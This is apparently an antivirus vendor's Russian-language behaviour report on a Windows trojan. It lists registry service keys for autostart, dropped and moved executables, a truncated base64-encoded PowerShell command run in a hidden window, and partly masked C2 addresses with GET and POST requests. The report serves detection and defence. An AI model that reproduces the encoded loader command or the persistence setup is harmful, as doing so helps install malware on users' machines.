Техническая информация
Для обеспечения автозапуска и распространения
Устанавливает следующие настройки сервисов
- [<HKLM>\System\CurrentControlSet\Services\KBDBE] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\KBDBE] 'ImagePath' = '"%WINDIR%\SysWOW64\cryptnet\KBDBE.exe"'
Создает следующие сервисы
- 'KBDBE' "%WINDIR%\SysWOW64\cryptnet\KBDBE.exe"
- 'KBDBE' %WINDIR%\SysWOW64\cryptnet\KBDBE.exe
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABLAHQAYwB6AHYAdwAyAD0AKAAoACcASABkAHYANgAnACsAJwB1ACcAKQArACcAZQAwACcAKQA7ACYAKAAnAG4AJwArACcAZQB3AC0AaQB0ACcAKwAnAGUAbQAnACkAIAAkAGUATgB2ADoAVQBTAEUAUgBwAHIAbwBGAGkAbABlAFwAaQBwAEEAVQBEAG...
Изменения в файловой системе
Создает следующие файлы
- %HOMEPATH%\ipaudeo\k_j9atr\siydwd.exe
Удаляет следующие файлы
- %WINDIR%\syswow64\cryptnet\kbdbe.exe
Перемещает следующие файлы
- %HOMEPATH%\ipaudeo\k_j9atr\siydwd.exe в %WINDIR%\syswow64\cryptnet\kbdbe.exe
Сетевая активность
Подключается к
- '19#.#94.12.132':80
- '51.##4.140.91':7080
- '51.##.163.68':7080
- '16#.#44.42.60':8080
TCP
Запросы HTTP GET
- http://zh###yasoft.ir/wp-content/file/ANEbg/
Запросы HTTP POST
- http://51.###.140.91:7080/Lit4gN8i1qufJ/RknFy6JoQfk10Yji5/sgmqoQyrk/cW1iwolk9yksd/lVuxtr1D2E8E/Azw8qwRsL4BdL8/ via 51.##4.140.91
- http://16#.##4.42.60:8080/b0Xqr6EYTRimzyHgD/K8sQ8BFKfkkiVLBv/nN38uMzx2NW3ZytIsa/bpBxrfVkDZx7iCdZ/a3jXCy6MYG4Mg82url/uOo1zfh7/ via 16#.#44.42.60
UDP
- DNS ASK zh###yasoft.ir
Другое
Создает и запускает на исполнение
- '%HOMEPATH%\ipaudeo\k_j9atr\siydwd.exe'
- '%WINDIR%\syswow64\cryptnet\kbdbe.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABLAHQAYwB6AHYAdwAyAD0AKAAoACcASABkAHYANgAnACsAJwB1ACcAKQArACcAZQAwACcAKQA7ACYAKAAnAG4AJwArACcAZQB3AC0AaQB0ACcAKwAnAGUAbQAnACkAIAAkAGUATgB2ADoAVQBTAEUAUgBwAHIAbwBGAGkAbABlAFwAaQBwAEEAVQBEAG...' (со скрытым окном)
